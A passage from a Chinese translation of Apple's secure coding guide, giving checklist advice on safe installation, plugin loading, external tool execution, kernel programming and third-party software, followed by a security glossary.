不会返回好的随机数,因此不应使用。 - 使用TLS/SSL而不是自定义方案。
您应该始终使用公认的标准协议进行安全网络。
这些标准已经过同行评审,因此更有可能是安全的。
此外,您应该始终使用这些协议的最新版本。
要详细了解macOS和iOS中可用的安全网络协议,请阅读 加密服务指南 中的 安全传输数据。 - 不要推出自己的加密算法。
始终使用现有的优化函数。
实现安全的密码算法非常困难,良好、安全的密码函数很容易获得。
要了解macOS和iOS中可用的加密服务,请阅读 加密服务指南 。
8、安装和装载
许多安全漏洞是由程序安装方式或代码模块加载方式的问题引起的。
此例旨在帮助您在项目中发现任何此类问题。
- **不要在
/Library/StartupItems
或/System/Library/Extensions
中安装组件。 **
安装到这些目录中的代码以root权限运行。
因此,仔细审核此类程序的安全漏洞(如本例所述)以及正确设置它们的权限非常重要。
有关启动项的正确权限的信息,请参阅启动项。
(请注意,在macOS 10.4及更高版本中,不推荐使用启动项;您应该使用launchd
来启动守护程序。
有关详细信息,请参阅 守护程序和服务编程指南 。)
有关内核扩展权限的信息,请参阅 内核扩展编程主题 。
(请注意,从macOS 10.2开始,macOS会检查权限问题并拒绝加载扩展,除非权限正确。) - 不要使用自定义安装脚本。
自定义安装脚本会增加不必要的复杂性和风险,因此在可能的情况下,您应该完全避免它们。
如果您必须使用自定义安装脚本,您应该:
- 如果您的安装程序脚本在shell中运行,请阅读并遵循 Shell脚本入门 中Shell脚本安全中的建议。
- 确保您的脚本遵循此例中的指南,就像您的应用程序的其余部分一样。
特别是:- 不要将临时文件写入全局可写目录。
- 不要以高于必要的权限执行。
通常,您的脚本应该以用户通常拥有的相同权限执行,并且应该代表用户在用户目录中执行其工作。 - 不要以提升的权限执行超过必要的时间。
- 在已安装的应用程序上设置合理的权限。
例如,如果只有所有者需要此类权限,请不要授予每个人对应用程序包中文件的读/写权限。 - 设置安装程序的文件代码创建掩码(umask)以限制对其创建的文件的访问(请参阅保护文件操作)。
- 检查返回码,如果有任何问题,记录问题并通过用户交互界面向用户报告问题。
有关编写需要执行特权操作的安装代码的建议,请参阅 授权服务编程指南 。
有关编写shell脚本的更多信息,请阅读 Shell脚本入门 。
- 仅从安全位置加载插件和库。
一个应用程序应该只加载来自安全目录的插件。
如果您的应用程序从不受限制的目录加载插件,那么攻击者可能会诱骗用户下载恶意代码,然后您的应用程序可能会加载并执行这些代码。
重要提示:在以提升权限运行的代码中,用户可写的目录不被视为安全位置。
请注意,动态链接编辑器(dyld
)可能会在插件中链接,具体取决于您的代码运行的环境。
如果您的代码使用可加载包(CFBundle
或NSBundle
),那么它正在动态加载代码,并可能加载恶意黑客编写的包。
有关动态加载代码的更多信息,请参阅 代码加载编程主题 。
9、使用外部工具和库
如果您的程序包含或使用任何命令行工具,您必须查找特定于使用此类工具的安全漏洞。
此例旨在帮助您发现和更正此类漏洞。
- 安全地执行工具。
如果您使用popen
或system
等例程向shell发送命令,并且您正在使用来自用户的输入或通过网络接收的输入来构造命令,您应该注意这些例程不会验证它们的输入。
因此,恶意用户可以在命令行参数中传递shell元字符——例如转义序列或其他特殊字符。
这些元字符可能会导致以下文本被解释为新命令并被执行。
此外,当调用execlp
、execvp
、popen
或使用PATH
环境变量搜索可执行文件的system
等函数时,应始终指定要运行的任何工具的完整绝对路径。
如果不这样做,恶意攻击者可能会潜在地导致您使用环境变量攻击运行不同的工具。
如果可能,请使用execvP
(它采用显式搜索路径参数)或完全避免使用这些函数。
请参阅Viega和McGraw,构建安全软件,Addison Wesley,2002,和Wheeler,安全编程HOWTO,可在http://www.dwheeler.com/secure-programs/,了解有关这些和类似例程的问题以及执行shell命令的安全方法的更多信息。 - 不要在命令行上传递敏感信息。
如果您的应用程序执行命令行工具,请记住您的进程环境对其他用户是可见的(参见man ps(1)
)。
您必须小心不要以不安全的方式传递敏感信息。
相反,通过其他方式将敏感信息传递给您的工具,例如:
- 管道或标准输入
密码通过管道时是安全的;但是,您必须注意发送密码的过程以安全的方式获取和存储密码。 - 环境变量
环境变量可能会被其他进程读取,因此可能不安全。
如果使用环境变量,必须小心避免将它们传递给命令行工具或脚本可能生成的任何进程。
有关详细信息,请参阅 Shell脚本入门 中的 Shell脚本安全性。 - 共享内存
其他进程可以读取命名和全局共享的内存段。
有关安全使用共享内存的更多信息,请参阅进程间通信和网络。 - 临时文件
临时文件只有保存在只有您的程序可以访问的目录中才是安全的。
有关临时文件的更多信息,请参阅本章前面的 数据、配置和临时文件。
- 验证所有参数(包括名称)。
此外,请记住任何人都可以执行一个工具——它不能仅通过您的程序执行。
因为所有命令行参数,包括程序名称(argv(0)
),都在用户的控制之下,所以您的工具应该验证每个参数(包括名称,如果工具的行为依赖于它)。
10、内核安全
此例旨在帮助您安全地在内核中编程。
注意:在内核中编码会带来特殊的安全风险,并且很少需要。
有关编写内核级代码的替代方案,请参阅内核中的编码。
- 验证基于Mach的服务的真实性。
内核级代码可以直接与Mach组件一起工作。
Mach端口是请求服务的客户端和提供服务的服务器之间通信通道的端点。
Mach端口是单向的;对服务请求的回复必须使用第二个端口。
如果您使用Mach端口进行进程之间的通信,您应该检查以确保您正在联系正确的进程。
因为Mach引导端口可以被继承,所以服务器和客户端相互验证很重要。
您可以为此目的使用审计拖车。
您应该为程序执行的每个与安全相关的检查创建审计记录。
有关审计记录的更多信息,请参阅本章前面的 审计日志。 - 验证其他用户空间服务的真实性。
如果您的内核扩展被设计为仅与特定的用户空间守护进程通信,您不仅应该检查进程的名称,还应该检查所有者和组,以确保您与正确的进程通信。 - 正确处理缓冲区。
在将数据复制到用户空间和从用户空间复制数据时,您必须:
a. 使用无符号算术检查数据的边界——就像检查所有边界一样(请参阅本章前面的 整数和缓冲区溢出)——以避免缓冲区溢出。
b. 检查并处理未对齐的缓冲区。
c. 将所有pad数据复制到用户空间内存或从用户空间内存复制时归零。
如果您或编译器添加填充以某种方式对齐数据结构,您应该将填充归零,以确保您没有将虚假(甚至恶意)数据添加到用户空间缓冲区,并确保您不会意外泄露以前可能在该内存页面中的敏感信息。 - 限制用户可能请求的内存资源。
如果您的代码不限制用户可能请求的内存资源,那么恶意用户可以通过请求超过系统可用内存的内存来发起拒绝服务攻击。 - 清理任何内核日志消息。
内核代码经常生成消息到控制台用于调试目的。
如果您的代码这样做,请注意不要在消息中包含任何敏感信息。 - 不要记录太多。
内核日志服务具有有限的缓冲区大小,以阻止对内核的拒绝服务攻击。
这意味着如果您的内核代码日志过于频繁或过多,数据可能会被丢弃。
如果您需要记录大量数据以进行调试,则应使用不同的机制,并且必须在部署内核扩展之前禁用该机制。
如果不这样做,那么您的扩展可能会成为拒绝服务攻击媒介。 - 仔细设计哈希函数。
哈希表通常用于提高搜索性能。
但是,当存在哈希冲突(列表中的两个项目具有相同的哈希结果)时,必须使用较慢(通常是线性)的搜索来解决冲突。
如果用户有可能故意生成具有相同哈希结果的不同请求,攻击者可以通过发出许多这样的请求来发起拒绝服务攻击。
可以设计在碰撞情况下使用树等复杂数据结构的哈希表,这样做可以显着减少这些攻击造成的损害。
十一、第三方软件安全指南
本附录提供了与Apple产品捆绑的软件的安全编码指南。
不安全的软件会对用户系统的整体安全性构成风险。
安全问题可能会导致苹果和第三方的负面宣传和最终用户支持问题。
1、尊重用户隐私
您的捆绑软件可能会使用互联网与您的服务器或第三方服务器进行通信。
如果是这样,您应该向用户提供清晰明了的信息,说明发送或检索了哪些信息以及发送或接收这些信息的原因。
在传输信息时应使用加密来保护信息。
服务器应在传输信息之前进行身份验证。
2、提供升级信息
提供有关如何升级到最新版本的信息。
考虑实施“检查更新…”功能。
客户期望(并且应该收到)影响他们正在运行的软件版本的安全修复程序。
您应该有办法向客户传达可用的安全修复程序。
如果可能的话,你应该使用苹果应用商店来提供升级。
苹果应用商店提供了一个单一的标准界面来更新用户的所有软件。
苹果应用商店还提供了一个快速的应用审查流程来处理关键的安全修复。
3、将信息存储在适当的地方
使用适当的文件系统权限将用户特定的信息存储在主目录中。
在处理共享数据或首选项时要特别小心。
请遵循 文件系统编程指南 中有关文件系统权限的指南。
使用临时文件时请注意避免竞争条件和信息泄露。
如果可能,请使用用户特定的临时文件目录。
4、避免要求提升权限
不要要求或鼓励用户以管理员用户身份登录以安装或使用您的应用程序。
您应该以普通用户的身份定期测试您的应用程序,以确保它按预期工作。
5、实施安全开发实践
特别注意以下代码:
- 处理可能不受信任的数据,例如文档或URL
- 通过网络进行通信
- 处理密码或其他敏感信息
- 以提升的权限运行,例如root或在内核中
使用适合任务的API:
6、安全测试
根据您的产品,使用以下QA技术来发现潜在的安全问题:
- 除了测试预期之外,还要测试无效和意外数据。
(使用模糊测试工具,包括测试失败的单元测试,等等。) - 静态代码分析
- 代码审查和审计
7、有用资源
本文档中的其他章节描述了编写安全代码的最佳实践,包括有关上述主题的更多信息。
安全概述 和 加密服务指南 包含开发人员可以使用的macOS安全功能的详细信息。
词汇表
- AES加密
高级加密标准加密的缩写。
联邦信息处理标准(FIPS),在FIPS出版物197中有所描述。
美国政府采用AES来保护敏感的非机密信息。 - attacker | 攻击者
有人故意试图让程序或操作系统做一些它不应该做的事情,例如允许攻击者执行代码或读取私人数据。 - authentication | 身份验证
一个人或其他实体(如服务器)证明它是它所说的谁(或什么)的过程。
与授权进行比较。 - authorization | 授权
用户或服务器等实体获得执行特权操作的权利的过程。
(授权也可以指权利本身,如“鲍勃有运行该程序的授权”。)授权通常包括首先验证实体,然后确定它是否具有适当的权限。
另请参见身份验证。 - buffer overflow | 缓冲区溢出
向内存缓冲区中插入的数据多于为缓冲区保留的数据,导致缓冲区外的内存位置被覆盖。
另请参见堆溢出和堆栈溢出。 - CDSA
通用数据安全架构的缩写。
安全基础设施的开放软件标准,提供广泛的安全服务,包括细粒度访问权限、用户身份验证、加密和安全数据存储。
CDSA有一个标准的应用程序编程接口,称为CSSM。 - CERT Coordination Center
互联网安全专业知识中心,位于美国软件工程研究所,由卡内基梅隆大学运营的联邦资助研发中心。
CERT是计算机应急准备小组的首字母缩写。) - 证书
参见数字证书。 - Common Criteria | 通用标准
可用于评估美国、加拿大、英国、法国、德国和荷兰政府开发的软件产品安全性的标准化流程和标准集。 - CSSM
Common Security Services Manager的缩写。
CDSA的公共应用程序编程接口。
CSSM还定义了为特定操作系统和硬件环境实现安全服务的插件的接口。 - CVE
常见漏洞和暴露的缩写。
位于http://www.cve.mitre.org/的安全漏洞标准名称字典。
您可以在CVE号码上运行Internet搜索以阅读有关漏洞的详细信息。 - digital certificate | 数字证书
用于验证持有者身份的数据集合。
macOS支持数字证书的X.509标准。 - exploit | 漏洞利用
演示如何利用漏洞的程序或示例代码。 - FileVault
通过安全系统首选项配置的macOS功能,用于加密根卷中的所有内容(或10.7之前用户主目录中的所有内容)。 - hacker | 黑客
专业的程序员,通常具有创建漏洞利用的技能。
大多数黑客不攻击其他程序,有些人发布漏洞利用的目的是迫使软件开发人员修复漏洞。 - heap | 堆
程序在执行过程中保留使用的内存区域。
数据可以写入或从堆上的任何位置读取,堆上的任何位置都向上增长(朝向更高的内存地址)。
与堆栈比较。 - heap overflow | 堆溢出堆
中的缓冲区溢出。 - homographs | 同形文字
看起来相同但具有不同Unicode值的字符,例如罗马字符p和发音类似“r”的俄语字形。 - integer overflow | 整数溢出
由于输入的数字对于整数数据类型来说太大而导致的缓冲区溢出。 - Kerberos
麻省理工学院(MIT)创建的一种行业标准协议,用于通过网络提供身份验证。 - keychain
macOS中用于存储加密密码、私钥和其他机密的数据库。
它也用于存储用于密码学和身份验证的证书和其他非机密信息。 - Keychain Access utility | 钥匙串访问实用程序
可用于操作钥匙串中数据的应用程序。 - Keychain Services | 钥匙串服务
可用于操作钥匙串中数据的公共API。 - level of trust | 信任级别
用户对证书有效性的信心。
证书的信任级别与信任策略一起用于回答问题“我应该信任此操作的证书吗?” - nonrepudiation | 不可否认性
使用户无法拒绝执行操作(例如使用特定的信用卡号码)的过程或技术。 - Open Directory
macOS提供的目录服务器,用于安全存储密码和用户身份验证。 - 权限
请参见权限。 - phishing | 网络钓鱼
一种社会工程技术,利用欺骗合法企业的电子邮件或网页来诱骗用户向有恶意的人提供个人数据和秘密(如密码)。 - policy database | 策略数据库
包含安全服务器用于确定授权的规则集的数据库。 - privileged operation | 特权操作
需要特殊权限或特权的操作。 - 特权
授予用户或组对文件或目录的访问权限类型(读、写、执行、遍历等)。 - race condition
两个不按顺序发生的事件。 - root kit
恶意代码,通过在内核中运行,不仅可以接管系统的控制权,还可以掩盖其自身存在的所有证据。 - root privileges
具有对系统执行任何操作的不受限制的权限。 - signal | 信号
在基于UNIX的操作系统(如macOS)中从一个进程发送到另一个进程的消息 - social engineering | 社会工程
应用于安全,诱骗用户放弃秘密或让攻击者访问计算机。 - smart card | 智能卡
一种塑料卡,大小与信用卡相似,内置存储器和微处理器。
智能卡可以存储和处理信息,包括密码、证书和密钥。 - stack | 栈
为特定程序保留的内存区域,用于控制程序流。
数据放在栈上,以后进先出的方式删除。
栈向下增长(向较低的内存地址)。
与堆比较。 - stack overflow | 堆栈溢出
堆栈上的缓冲区溢出。 - time of check-time of use(TOCTOU)
攻击者在程序检查文件状态和程序写入文件之间创建、写入或更改文件的竞争条件。 - trust policy | 信任策略
一组规则,指定具有特定信任级别的证书的适当用途。
例如,浏览器的信任策略可能会声明,如果证书已过期,则应在与Web服务器打开安全会话之前提示用户获得许可。 - vulnerability | 漏洞
程序编写方式的一个特征——设计缺陷或bug——使黑客有可能攻击程序。
2024-06-16(日)